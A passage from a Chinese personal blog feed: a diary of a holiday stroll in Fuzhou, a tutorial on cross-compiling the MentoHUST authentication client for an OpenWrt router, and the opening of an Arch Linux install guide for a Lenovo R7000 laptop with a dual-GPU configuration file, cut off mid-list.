<p>出门闲晃，出门，天天都在出门，所以重点在<strong>闲晃</strong>这两个字。越来越喜欢不设定目的地，出门走上地铁再掏出手机打开地图思考要去哪。不设定目的地的好处就是，不管去到哪，对于自己来说都是新鲜的，都是惊喜的，也能更专注于欣赏沿途的风景，看到好看的景色时不时拿出手机拍拍照，很喜欢随着公交车一路晃晃晃的感觉。</p>
<p>游戏玩得越来越少，Steam和Switch都吃灰了挺久，以后有时间了再玩吧~</p>
<p>如果觉得累了，记得停下脚步，欣赏欣赏沿途的风景，和那个疲惫的自己说说话聊聊天呀！</p>]]></content:encoded>
    </item>
    <item>
      <title>清明假期的闲晃</title>
      <link>https://lgiki.net/post/stroll-in-fuzhou/</link>
      <pubDate>Sun, 04 Apr 2021 20:25:12 +0800</pubDate>
      <guid>https://lgiki.net/post/stroll-in-fuzhou/</guid>
      <description>&lt;p&gt;清明小长假的第二天，宜漫无目的地出门闲逛。&lt;/p&gt;
&lt;p&gt;天气正好是阴天，不热也不燥，是个适合走路的好天气。&lt;/p&gt;
&lt;p&gt;没有制定什么计划，想到哪去哪，唯一能确定的两个目的地是Apple Store和IKEA。&lt;/p&gt;
&lt;p&gt;去Apple Store是因为得去修一下Apple Pencil。在这里小小地吐槽一下Apple Pencil一代，因为其电池容量很小，放太久不充电容易导致电池过放，之后就再也充不进电了（&lt;del&gt;恭喜你，获得既不能写字也不能用来夹菜的大长塑料棒子一根&lt;/del&gt;），所以如果你有Apple Pencil，记得每周给它充充电，把它喂得饱饱的。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>清明小长假的第二天，宜漫无目的地出门闲逛。</p>
<p>天气正好是阴天，不热也不燥，是个适合走路的好天气。</p>
<p>没有制定什么计划，想到哪去哪，唯一能确定的两个目的地是Apple Store和IKEA。</p>
<p>去Apple Store是因为得去修一下Apple Pencil。在这里小小地吐槽一下Apple Pencil一代，因为其电池容量很小，放太久不充电容易导致电池过放，之后就再也充不进电了（<del>恭喜你，获得既不能写字也不能用来夹菜的大长塑料棒子一根</del>），所以如果你有Apple Pencil，记得每周给它充充电，把它喂得饱饱的。</p>
<p>IKEA嘛，因为是福建首家IKEA，所以很想去逛逛，还想顺便吃吃IKEA的甜筒🍦和热狗🌭。</p>
<p>早上挺早就醒了，醒了躺床上刷手机，刷着刷着灵光涌现，赶紧爬起来写代码，结果写着写着就沉迷于写代码了，看时间挺晚了才依依不舍地出门。看了一眼Github提交记录，早上起床那会儿竟然写了200行左右的代码。</p>
<p>前一天顾着写代码忘记预约Genius Bar了，出门时才想起来得预约一下，结果一看只能预约下午的了，就预约了一点半的Genius Bar。打算早上先去四处转转，中午解决一下温饱问题再去Apple Store，之后再去IKEA。</p>
<p>漫无目的地出门，走上地铁才开始想要去哪，刷刷手机，看到一个寺庙，叫西禅古寺。决定前去转转，虽然并没有宗教信仰，但对这类比较有历史底蕴的地方还是挺有兴趣的。这个寺庙20元的门票并不贵（学生还能打5折），但人非！常！多！可能是因为清明节的缘故，很多都是来扫墓祭奠的。走了一圈，感觉和闽南地区的寺庙确实有很多不一样的地方，但我说不出来具体是哪不一样，可能是布局结构或者是建筑风格？搞不懂，但隐隐约约总觉得有些许不同，寺庙里风景不错，植物蛮多，顺路的话可以去走走看看。</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0013.webp"></p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0017.webp"></p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0015.webp"></p>
<p>从寺庙出来想了想，去趟三坊七巷吧，虽然许多福州本地人一再跟我强调没必要去，但来都来了，总得去走走，顺便在那附近解决一下中午的温饱问题。</p>
<p>简单在三坊七巷逛了一下，觉得三坊七巷的商业化气息实在是太浓了。整体走下来的感觉和福州本地人跟我说的一样，并不值得去逛。三坊七巷里卖文创纪念品的店铺非常多，但卖的商品其实都一模一样，估计是出自同一个进货商，价格都非常惊人，本来还想买点纪念品送朋友来着，看了眼价格默默把东西又放了回去，最终是买了两张明信片，正好要寄给一位朋友。</p>
<p>逛的过程中意外发现一家书店，满怀期待地进门，想着把书店开在这种旅游景点的人一定特别Cool，结果进去依旧是在卖文创纪念品…如果真的要去三坊七巷，推荐看看三坊七巷的建筑、植物和各种免费的展览，例如：</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0053.webp"></p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0052.webp"></p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0051.webp"></p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0060.webp"></p>
<p>中午吃了同利肉燕，肉燕不错，但鱼丸和燕丝感觉比较普通，不太推荐。</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0065.webp"></p>
<p>吃完饭，心满意足，前往Apple Store！</p>
<p>在公交车上随着车晃晃晃的感觉很好。</p>
<p>到了Apple Store，在门口和店员简单说明了情况，提供了一些必要的信息，之后就有另一位店员来帮我处理了。店员全程都很热情服务，最后是免费换了一支新的Apple Pencil给我，可能是我连续对那位店员说了很多句“谢谢”，那位店员跟我说了好几句“这都是我应该做的”，我走之前还热情地跟我说“慢走”，是一段有趣的售后体验。</p>
<p>处理完Apple Pencil的事之后简单在Apple Store逛逛，看看新品。首先是iPhone 12系列，iPhone 12这一代回归有棱有角的边框手感还挺不错的，重量也轻了不少，iPhone 12 mini的屏幕有点小，如果喜欢小屏幕，那iPhone 12 mini应该不错。</p>
<p>之后是m1芯片的MacBook，特地试了一下，发热量真的低得吓人，很难想象后续Apple自家的芯片能达到怎样的体验，嗯，研究生毕业一定买MacBook Pro（<del>如果有钱的话</del>）！</p>
<p>最后是AirPods Max，降噪效果很棒，但是开启降噪之后能感受到比较明显的耳压。这里还想稍微吐槽一下，不知道前面哪个试听AirPods Max的人把音量开到最大了，我戴上之后按下播放键的那一刻把我吓一机灵…</p>
<p>发现Apple Store里桌上贴的字被扣掉了好几个哈哈哈！</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0067.webp"></p>
<p>从Apple Store出门之后阴差阳错又进了小米之家，结果莫名其妙就买了一套小米螺丝刀回来…果然男生对于螺丝刀、电钻等东西就是欲罢不能的嘛…不该进小米之家的（🤦‍♂️</p>
<p>前面说到三坊七巷里的冒牌书店，结果后来我真就找到了一家真正的书店，挺大的，书很多，转了一圈没有特别想买的书。</p>
<p>书店是观察路人的好地方：看到一位上了年纪的找的书都是医疗保健相关的，儿童喜欢各种绘本（我也喜欢看绘本，我还是个儿童！（不要脸）），夫妻俩过来逛的就都是想着给孩子买什么样的书，而我，漫无目的地逛着，我是来享受书店氛围的。看到一本俳句的书，翻了几页，很喜欢，已经加入多抓🐟购物车了哈哈哈。喜欢实体书店，实体书店真的挺难的，希望实体书店都能好好经营着。</p>
<p>看到本《C语言修仙》，这标题？我…JavaScript第一个不服！</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0070.webp"></p>
<p>之后就去了宜家，去的路程又是很享受地随着公交车晃晃晃。</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_6758.webp"></p>
<p>可能是福建省首家IKEA刚开业的缘故，人太多了…看的不是家具而是无尽的人头，人挤人挤人。如果人少一点，IKEA真的很适合用来逛，很多家具产品都很不错哈哈哈，如果是情侣，就更适合逛宜家了（我…我…我啥时候能有人陪着一起逛IKEA，呜…）</p>
<p>IKEA的很多产品都想拥有，可我并没有房子来让我安置这些东西。买了两个便宜的小东西，一个是5.9一包的DOFTA干花包，香味挺好闻的，找个透明的玻璃瓶装上应该挺好看，我没有玻璃瓶直接整包放桌上，当香薰使，还有就是39.90的LIVBOJ无线充电板，小巧可爱。</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0082.webp"></p>
<p>IKEA的鲨鲨真的很可爱！想拥有，但是小小的宿舍并不允许我拥有它！看到一些孩子因为父母答应买鲨鲨给ta而欢呼雀跃，想想，小时候的快乐好像就是这么简单，长大了之后呢，虽然我自己已经能买得起了，虽然我买了鲨鲨也会很开心，但好像并不是小时候那种很单纯的开心。</p>
<p>（不知道谁把IKEA里的这玩意儿摆了个国际通用友好手势：</p>
<p><img loading="lazy" src="/stroll-in-fuzhou/IMG_0080.webp"></p>
<p>最后，IKEA的甜筒🍦好吃，满满当当的，热狗🌭感觉比较普通，但胜在便宜。</p>
<p>然后我竟然把IKEA墙上挂着的“安全出口”灯牌当成了商品，还寻思着这玩意儿怎么不标个价格，也拿不下来…（谁叫IKEA把“安全出口”灯牌和其他商品放一起的</p>]]></content:encoded>
    </item>
    <item>
      <title>为 OpenWrt 交叉编译 MentoHUST</title>
      <link>https://lgiki.net/post/cross-compile-mentohust-for-openwrt/</link>
      <pubDate>Mon, 14 Sep 2020 21:55:41 +0800</pubDate>
      <guid>https://lgiki.net/post/cross-compile-mentohust-for-openwrt/</guid>
      <description>&lt;p&gt;这是一篇从旧播客备份中恢复的文章，简单记录了为OpenWrt交叉编译MentoHUST的过程。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>这是一篇从旧播客备份中恢复的文章，简单记录了为OpenWrt交叉编译MentoHUST的过程。</p>
<h1 id="需要的工具">需要的工具</h1>
<ul>
<li>Linux环境（大部分主流发行版均可，我使用的是ArchLinux，你也可以选择自己喜欢的发行版）</li>
<li>OpenWrt SDK（下文会介绍）</li>
<li>稳定可靠的网络连接</li>
<li>耐心（编译因电脑配置的不同可能会需要较长的时间，需要耐心等待）</li>
</ul>
<h1 id="搭建编译环境">搭建编译环境</h1>
<h2 id="安装编译工具">安装编译工具</h2>
<p>这一步参考OpenWrt的官方Wiki：<a href="https://openwrt.org/docs/guide-developer/build-system/install-buildsystem#examples_of_package_installations">https://openwrt.org/docs/guide-developer/build-system/install-buildsystem#examples_of_package_installations</a></p>
<p>这个页面里针对各个Linux发行版都列出了所需的所有软件包，如果编译过程中还是有所欠缺，只需要根据报错信息安装对应的工具即可，这里不再详细展开。</p>
<h2 id="下载openwrt-sdk并解压">下载OpenWrt SDK并解压</h2>
<p>下载OpenWrt SDK之前需要先确定你的路由器CPU平台，可以到OpenWrt官网上通过路由器的型号查询，也可以通过搜索引擎去搜索。相信已经为路由器刷过OpenWrt的都知道自己路由器对应的是哪个平台。</p>
<p>这里我以我的Netgear WNDR3800举例，该路由器属于ar71xx平台，所以打开OpenWrt的<a href="https://mirrors4.tuna.tsinghua.edu.cn/openwrt/releases/19.07.4/targets/">Download页面</a>（这里我使用tuna的镜像站以加快下载速度），可以看到有很多个目录，每个目录的名称对应的就是各个平台，这里我选择<a href="https://mirrors4.tuna.tsinghua.edu.cn/openwrt/releases/19.07.4/targets/ar71xx/">ar71xx</a>，之后进入<a href="https://mirrors4.tuna.tsinghua.edu.cn/openwrt/releases/19.07.4/targets/ar71xx/generic/">generic</a>目录，将页面拉到最底下可以看到：<a href="https://mirrors4.tuna.tsinghua.edu.cn/openwrt/releases/19.07.4/targets/ar71xx/generic/openwrt-sdk-19.07.4-ar71xx-generic_gcc-7.5.0_musl.Linux-x86_64.tar.xz">openwrt-sdk-19.07.4-ar71xx-generic_gcc-7.5.0_musl.Linux-x86_64.tar.xz</a>，将其下载下来即可。</p>
<p>下载完成之后，解压：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tar xvJf openwrt-sdk-19.07.4-ar71xx-generic_gcc-7.5.0_musl.Linux-x86_64.tar.xz
</span></span></code></pre></div><h2 id="同步mentohust源码">同步MentoHUST源码</h2>
<p>这里不用原版的MentoHUST，而是使用已经为OpenWrt打包好的<a href="https://github.com/KyleRicardo/MentoHUST-OpenWrt-ipk">MentoHUST-OpenWrt-ipk</a></p>
<p>首先cd到OpenWrt SDK的目录下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> openwrt-sdk-19.07.4-ar71xx-generic_gcc-7.5.0_musl.Linux-x86_64
</span></span></code></pre></div><p>然后通过git clone将MentoHUST源码同步到package目录下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git clone https://github.com/KyleRicardo/MentoHUST-OpenWrt-ipk.git package/mentohust
</span></span></code></pre></div><h1 id="开始编译">开始编译</h1>
<p>编译环境搭建完成之后就可以正式开始交叉编译了。</p>
<h2 id="更新feeds">更新feeds</h2>
<p>首先需要更新feeds：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./scripts/feeds update
</span></span></code></pre></div><p>然后安装libpcap feed：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./scripts/feeds install libpcap
</span></span></code></pre></div><p>这里需要注意，OpenWrt SDK编译libpcap时只会编译出libpcap.so而不会编译出libpcap.a，但是mentohust需要libpcap.a，所以需要修改一下libpcap的Makefile，编辑<code>package/feeds/base/libpcap/Makefile</code>文件，将其中的</p>
<pre tabindex="0"><code>define Package/libpcap/install
        $(INSTALL_DIR) $(1)/usr/lib
        $(CP) $(PKG_INSTALL_DIR)/usr/lib/libpcap.so.* $(1)/usr/lib/
endef
</code></pre><p>修改为：</p>
<pre tabindex="0"><code>define Package/libpcap/install
        $(INSTALL_DIR) $(1)/usr/lib
        $(CP) $(PKG_INSTALL_DIR)/usr/lib/libpcap.{a,so*} $(1)/usr/lib/
endef
</code></pre><p>即让编译libpcap的时候同时编译出libpcap.a</p>
<h2 id="menuconfig">menuconfig</h2>
<p>接下来如要对编译配置文件进行简单的配置，这里直接使用menuconfig：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">make menuconfig
</span></span></code></pre></div><p>这里需要关闭<code>Advanced configuration options (for developers)</code>中的<code>Automatic removal of build directories</code>：</p>
<p><img loading="lazy" src="/cross-compile-mentohust-for-openwrt/disable_auto_remove.png"></p>
<p>并确保<code>Libraries</code>下的<code>libpcap</code>为<code>M</code>：</p>
<p><img loading="lazy" src="/cross-compile-mentohust-for-openwrt/libpcap.png"></p>
<p><code>Network</code>下的<code>Ruijie</code>下的<code>mentohust</code>为<code>M</code>：</p>
<p><img loading="lazy" src="/cross-compile-mentohust-for-openwrt/mentohust.png"></p>
<p>这样menuconfig就完成了，保存一下退出即可</p>
<h2 id="make">make!</h2>
<p>好了，到这一步所有的准备工作就都完成了，接下来就可以开始编译了：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">make package/mentohust/compile
</span></span></code></pre></div><p>这一步需要在线下载libpcap的源码，所以请确保有一个良好的网络连接</p>
<p>如果没有什么意外情况的话，等编译完成之后就能在<code>bin/packages/mips_24kc/base</code>下找到libpcap和mentohust的ipk软件包了：</p>
<p><img loading="lazy" src="/cross-compile-mentohust-for-openwrt/ipk.png"></p>
<h1 id="安装到openwrt">安装到OpenWrt</h1>
<p>接下来就只需要把编译出来的这两个ipk软件包安装进OpenWrt路由器就行了</p>
<h2 id="上传ipk到openwrt">上传ipk到OpenWrt</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">scp libpcap1_1.9.1-2.1_mips_24kc.ipk root@192.168.1.1:/root/
</span></span><span class="line"><span class="cl">scp mentohust_0.3.1-1_mips_24kc.ipk root@192.168.1.1:/root/
</span></span></code></pre></div><h2 id="安装">安装</h2>
<p>SSH连接到OpenWrt路由器，然后执行：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">opkg install libpcap1_1.9.1-2.1_mips_24kc.ipk
</span></span><span class="line"><span class="cl">opkg install mentohust_0.3.1-1_mips_24kc.ipk
</span></span></code></pre></div><h1 id="mentohust-luci-app">MentoHUST LuCI App</h1>
<p>将上面编译出来地libpcap和mentohust安装到OpenWrt之后就能ssh连接到路由器，在命令行下面使用mentohust命令进行锐捷认证了，但是通过命令行进行锐捷认证总是不方便的。所以我们还需要一个管理页面，通过浏览器就能管理mentohust的配置和运行状态。</p>
<p>而因为管理页面只是执行一些命令的调用，并不需要像MentoHUST那样针对不同的CPU平台编译可执行文件，所以直接到这个仓库<a href="https://github.com/BoringCat/luci-app-mentohust">https://github.com/BoringCat/luci-app-mentohust</a>的<a href="https://github.com/BoringCat/luci-app-mentohust/releases">Release</a>页面下载作者编译好的ipk包然后跟前文一样使用<code>opkg install</code>安装到路由器即可。</p>
<p><img loading="lazy" src="/cross-compile-mentohust-for-openwrt/luci.png"></p>
<p>至此，就可以愉快地让路由器代替电脑完成锐捷认证了，愉快享受网上冲浪的乐趣吧！XD</p>]]></content:encoded>
    </item>
    <item>
      <title>为联想 R7000 安装 ArchLinux</title>
      <link>https://lgiki.net/post/lenovo-r7000-2020-unboxing-and-archlinux-installation/</link>
      <pubDate>Fri, 03 Jul 2020 13:20:49 +0800</pubDate>
      <guid>https://lgiki.net/post/lenovo-r7000-2020-unboxing-and-archlinux-installation/</guid>
      <description>&lt;p&gt;开始之前，先贴上我这台联想R7000的配置：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;CPU: AMD Ryzen 7 4800H with Radeon Graphics (16) @ 2.900GHz
Memory: 2 * 8G DDR4 3200MHz
GPU: NVIDIA GeForce GTX 1650
SSD: Samsung PM981a 512G
SSD: Intel 760P 512G
Wireless LAN Card: Intel Wi-Fi 6 AX200
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;其中512G的Intel 760P是我自己加上的，机子原厂只带了512G的Samsung PM981a。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>开始之前，先贴上我这台联想R7000的配置：</p>
<pre tabindex="0"><code>CPU: AMD Ryzen 7 4800H with Radeon Graphics (16) @ 2.900GHz
Memory: 2 * 8G DDR4 3200MHz
GPU: NVIDIA GeForce GTX 1650
SSD: Samsung PM981a 512G
SSD: Intel 760P 512G
Wireless LAN Card: Intel Wi-Fi 6 AX200
</code></pre><p>其中512G的Intel 760P是我自己加上的，机子原厂只带了512G的Samsung PM981a。</p>
<p>这里简单放上一张<code>neofetch</code>截图：</p>
<p><img alt="neofetch" loading="lazy" src="/lenovo-R7000-2020-unboxing-and-ArchLinux-installation/neofetch.png"></p>
<p>PS：Linux之父Linus Torvalds也<a href="http://lkml.iu.edu/hypermail/linux/kernel/2005.3/00406.html">更换到了AMD平台</a>，相信未来Linux内核对AMD平台的支持情况会越来越好。</p>
<h1 id="archlinux安装">ArchLinux安装</h1>
<p>新机器到手，除了赶紧把预装了联想全家桶的Windows 10家庭中文版换成专业版之外，最重要的就是装上ArchLinux了！</p>
<p>平时写代码还是更习惯用Linux，不仅仅是字体渲染看着比Windows清晰舒服，更重要的是很多事情都可以通过命令行搞定，还不容易有各种各样奇奇怪怪的毛病（例如在开始菜单加入广告推荐使用Edge浏览器等）。</p>
<p>ArchLinux的安装只需要按照官方Archwiki上的<a href="https://wiki.archlinux.org/index.php/Installation_guide">Installation guide</a>一步步操作就行了。</p>
<p>不过安装过程中如果是选择通过WiFi来接入互联网那马上就会遇到第一个问题：通过<code>wifi-menu</code>或者其他相关命令无法正常连接WiFi。</p>
<h2 id="wifi连接">WiFi连接</h2>
<p>第一次启动ArchLinux的安装镜像，习惯性使用<code>wifi-menu</code>连接WiFi，直接就报错了。难道是AX200这张无线网卡太新了，安装镜像还不支持？检查了一下驱动发现是没问题的。</p>
<p>翻了翻Google才发现，原来是机子所有的无线电接口都被bloacked了，解决方法也很简单，通过rfkill命令就能直接把所有的无线电接口都unblock：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">rfkill unblock all
</span></span></code></pre></div><p>执行完这条命令之后再执行<code>rfkill list</code>应该就能看到如下结果，所有的无线电接口的blocked状态都是no。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">➜  ~ rfkill list
</span></span><span class="line"><span class="cl">0: ideapad_wlan: Wireless LAN
</span></span><span class="line"><span class="cl">        Soft blocked: no
</span></span><span class="line"><span class="cl">        Hard blocked: no
</span></span><span class="line"><span class="cl">1: ideapad_bluetooth: Bluetooth
</span></span><span class="line"><span class="cl">        Soft blocked: no
</span></span><span class="line"><span class="cl">        Hard blocked: no
</span></span><span class="line"><span class="cl">2: phy0: Wireless LAN
</span></span><span class="line"><span class="cl">        Soft blocked: no
</span></span><span class="line"><span class="cl">        Hard blocked: no
</span></span><span class="line"><span class="cl">3: hci0: Bluetooth
</span></span><span class="line"><span class="cl">        Soft blocked: no
</span></span><span class="line"><span class="cl">        Hard blocked: no
</span></span></code></pre></div><p>这时候就能正常使用<code>wifi-menu</code>或其他相关的命令行连接WiFi，继续进行后续的安装操作了。</p>
<h2 id="屏蔽nouveau">屏蔽nouveau</h2>
<p>不知道是不是因为GTX 1650这张显卡比较新，nouveau用起来总是会有一些奇奇怪怪的问题，偶尔还会导致系统关机的时候卡住，内核日志里也总会有很多关于nouveau的报错。</p>
<p>因为打算装NVIDIA的闭源驱动，所以我直接屏蔽了nouveau，省得再出现一些奇奇怪怪的问题，具体的屏蔽方法就是在<code>/etc/modprobe.d</code>目录下新建一个<code>disable-nouveau.conf</code>文件并写入以下内容：</p>
<pre tabindex="0"><code>blacklist nouveau
</code></pre><p>这样下次开机进系统就不会加载nouveau驱动了，内核日志中也不会再出现一大堆关于nouveau的报错。</p>
<h2 id="屏幕亮度调节">屏幕亮度调节</h2>
<p>这是我刚装上ArchLinux时遇到的第一个问题，屏幕亮度无法调节，开机直接就是最高亮度。</p>
<p>当时翻遍了ArchWiki和Google，尝试了很多解决方法，包括在Kernel启动参数后加上各种奇奇怪怪的启动参数（<code>acpi_osi=! acpi_osi=&quot;Windows 2009&quot;</code>、<code>acpi_backlight=vendor</code>等），直接向<code>/sys/class/backlight/amdgpu_bl0/brightness</code>中写入亮度数值都不行，然后就彻底放弃了，最高亮度凑活着用吧。</p>
<p>后来有一次从Windows重启到Linux的时候意外发现：先启动到Windows，然后在Windows上面选择重启，之后再进Linux就能正常调节亮度了。当时没有其他解决方法，所以只能每次用Linux都先启动到Windows，然后再重启进ArchLinux。</p>
<p>后面滚到5.7.6内核之后就能正常调节屏幕亮度了，但是随之而来又带来了新的问题，系统在播放音频或者是视频的时候，有一定的概率会卡死，就跟这个帖子描述的类似：<a href="https://bbs.archlinux.org/viewtopic.php?id=256929">https://bbs.archlinux.org/viewtopic.php?id=256929</a>，kernel的日志也是一样的，初步怀疑是kernel某个patch有问题，又懒得自己编译内核，所以就先滚回5.7.5内核，最高亮度先用着，坐等内核更新。</p>
<p>终于，昨天更新了5.7.7内核之后，亮度调节正常，播放音/视频也不会再导致系统卡死了。R7000装Linux遇到屏幕亮度无法调节的可以将内核升级到5.7.7试试，应该就能正常调节了。</p>
<h2 id="amdnvidia双显卡切换">AMD/NVIDIA双显卡切换</h2>
<p>R7000是支持在BIOS中设置成独显直连的，但是我并不想让Linux直接在独显上跑，不仅费电，还容易发热，日常写代码感觉也不需要用上独显，所以我还是更喜欢双显卡切换，毕竟集成显卡也是花了钱买的嘛，怎么能就这么放着不用呢。</p>
<p>之前暗影精灵2上面是使用bumblebee的方案来管理双显卡的，但是bumblebee似乎只支持Intel+NVIDIA双显卡，不支持AMD+NVIDIA双显卡。那就只能寻找新的解决方案了。</p>
<p>所以就去爬了爬ArchWiki上的<a href="https://wiki.archlinux.org/index.php/NVIDIA_Optimus">NVIDIA Optimus</a>，最终决定采用<a href="https://github.com/Askannz/optimus-manager/">optimus-manager</a>来管理双显卡。</p>
<h3 id="安装显卡驱动">安装显卡驱动</h3>
<p>AMD集成显卡的驱动使用<code>xf86-video-amdgpu</code>，NVIDIA独立显卡的驱动使用NVIDIA闭源驱动：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S xf86-video-amdgpu
</span></span><span class="line"><span class="cl">sudo pacman -S nvidia nvidia-settings nvidia-utils lib32-nvidia-utils
</span></span></code></pre></div><h3 id="安装optimus-manager">安装Optimus Manager</h3>
<p>首先需要安装optimus-manager， 因为是AMD平台，所以不能直接安装原版的optimus-manager，必须安装AMD分支版本<a href="https://aur.archlinux.org/packages/optimus-manager-amd-git/">optimus-manager-amd-git</a><!-- raw HTML omitted -->AUR<!-- raw HTML omitted -->：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">yay -S optimus-manager-amd-git
</span></span></code></pre></div><p>同时bbswitch也得替换成<a href="https://aur.archlinux.org/packages/bbswitch-ati-git/">bbswitch-ati-git</a><!-- raw HTML omitted -->AUR<!-- raw HTML omitted -->：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">yay -S bbswitch-ati-git
</span></span></code></pre></div><p>都安装好了之后开启服务：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> optimus-manager.service
</span></span></code></pre></div><p>同时需要确保<code>/etc/X11/xorg.conf</code> 和 <code>/etc/X11/xorg.conf.d</code> 下面没有显示相关的配置文件</p>
<h3 id="配置optimus-manager">配置Optimus Manager</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mkdir -p /etc/optimus-manager
</span></span><span class="line"><span class="cl">sudo cp /usr/share/optimus-manager.conf /etc/optimus-manager/optimus-manager.conf
</span></span></code></pre></div><p>然后编辑<code>/etc/optimus-manager/optimus-manager.conf</code>文件，根据文件内的注释说明进行optimus-manager的配置。</p>
<p>这里贴一下我自己用的配置：</p>
<pre tabindex="0"><code>[optimus]

# This parameter defines the method used to power switch the Nvidia card. See the documentation
# for a complete description of what each value does. Possible values :
#
# - nouveau : load the nouveau module on the Nvidia card.
# - bbswitch : power off the card using the bbswitch module (requires the bbswitch dependency).
# - acpi_call : try various ACPI method calls to power the card on and off (requires the acpi_call dependency)
# - none : do not use an external module for power management. For some laptop models it&#39;s preferable to
#           use this option in combination with pci_power_control (see below).
#           With that option set, you can also use the scripts nvidia-enable.sh and nvidia-disable.sh to
#           execute custom commands for power management.
switching=none

# Enable PCI power management in Intel mode.
# This option is incompatible with acpi_call and bbswitch, so it will be ignored in those cases.
pci_power_control=yes

# Remove the Nvidia card from the PCI bus.
# May prevent crashes caused by power switching.
# Ignored if switching=nouveau or switching=bbswitch.
pci_remove=no

# Reset the Nvidia card at the PCI level before reloading the nvidia module.
# Ensures the card is in a fresh state before reloading the nvidia module.
# May fix some switching issues. Possible values :
#
# - no : does not perform any reset
# - function_level : perform a light &#34;function-level&#34; reset
# - hot_reset : perform a &#34;hot reset&#34; of the PCI bridge. ATTENTION : this method messes with the hardware
#         directly, please read the online documentation of optimus-manager before using it.
#         Also, it will perform a PCI remove even if pci_remove=no.
#
pci_reset=no

# Automatically log out the current desktop session when switching GPUs.
# This feature is currently supported for the following DE/WM :
# KDE Plasma, GNOME, XFCE, Deepin, i3, Openbox, AwesomeWM, bspwm
# If this option is disabled or you use a different desktop environment,
# GPU switching only becomes effective at the next graphical session login.
auto_logout=yes

# The mode used with startup mode ac_auto when not connected to AC.
# Possible values : amd, intel, hybrid-amd, hybrid-intel
ac_auto_battery_mode=amd


# The mode used with startup mode ac_auto when connected to AC.
# Possible values : hybrid, nvidia
ac_auto_extpower_mode=nvidia

[intel]

# Driver to use for the Intel GPU. Possible values : modesetting, intel
# To use the intel driver, you need to install the package &#34;xf86-video-intel&#34;.
driver=modesetting

# Acceleration method (corresponds to AccelMethod in the Xorg configuration).
# Only applies to the intel driver.
# Possible values : sna, xna
# Leave blank for the default (no option specified)
accel=

# Enable TearFree option in the Xorg configuration.
# Only applies to the intel driver.
# Possible values : yes, no
# Leave blank for the default (no option specified)
tearfree=

# DRI version. Possible values : 2, 3
DRI=3

# Whether or not to enable modesetting for the nouveau driver.
# Does not affect modesetting for the Intel GPU driver !
# This option only matters if you use nouveau as the switching backend.
modeset=yes


[amd]

# Driver to use for the AMD GPU. Possible values : modesetting, amdgpu
# To use the amdgpu driver, you need to install the package &#34;xf86-video-amdgpu&#34;.
driver=amdgpu

# Enable TearFree option in the Xorg configuration.
# Only applies to the amdgpu driver.
# Possible values : yes, no
# Leave blank for the default (no option specified)
tearfree=

# DRI version. Possible values : 2, 3
DRI=3

# Whether or not to enable modesetting for the nouveau driver.
# Does not affect modesetting for the AMD GPU driver !
# This option only matters if you use nouveau as the switching backend.
modeset=yes


[nvidia]

# Whether or not to enable modesetting. Required for PRIME Synchronization (which prevents tearing).
modeset=yes

# Whether or not to enable the NVreg_UsePageAttributeTable option in the Nvidia driver.
# Recommended, can cause poor CPU performance otherwise.
PAT=yes

# DPI value. This will be set using the Xsetup script passed to your login manager.
# It will run the command
# xrandr --dpi &lt;DPI&gt;
# Leave blank for the default (the above command will not be run).
DPI=96

# If you&#39;re running an updated version of xorg-server (let&#39;s say to get PRIME Render offload enabled),
# the nvidia driver may not load because of an ABI version mismatch. Setting this flag to &#34;yes&#34;
# will allow the loading of the nvidia driver.
ignore_abi=no

# Set to yes if you want to use optimus-manager with external Nvidia GPUs (experimental)
allow_external_gpus=no

# Comma-separated list of Nvidia-specific options to apply.
# Available options :
# - overclocking : enable CoolBits in the Xorg configuration, which unlocks clocking options
#   in the Nvidia control panel. Note: does not work in hybrid mode.
# - triple_buffer : enable triple buffering.
options=
</code></pre><p>关于我的这份配置文件：</p>
<ul>
